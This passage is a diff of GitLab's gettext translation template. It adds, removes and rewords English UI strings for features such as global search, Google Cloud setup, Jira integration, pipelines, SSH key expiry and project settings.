msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
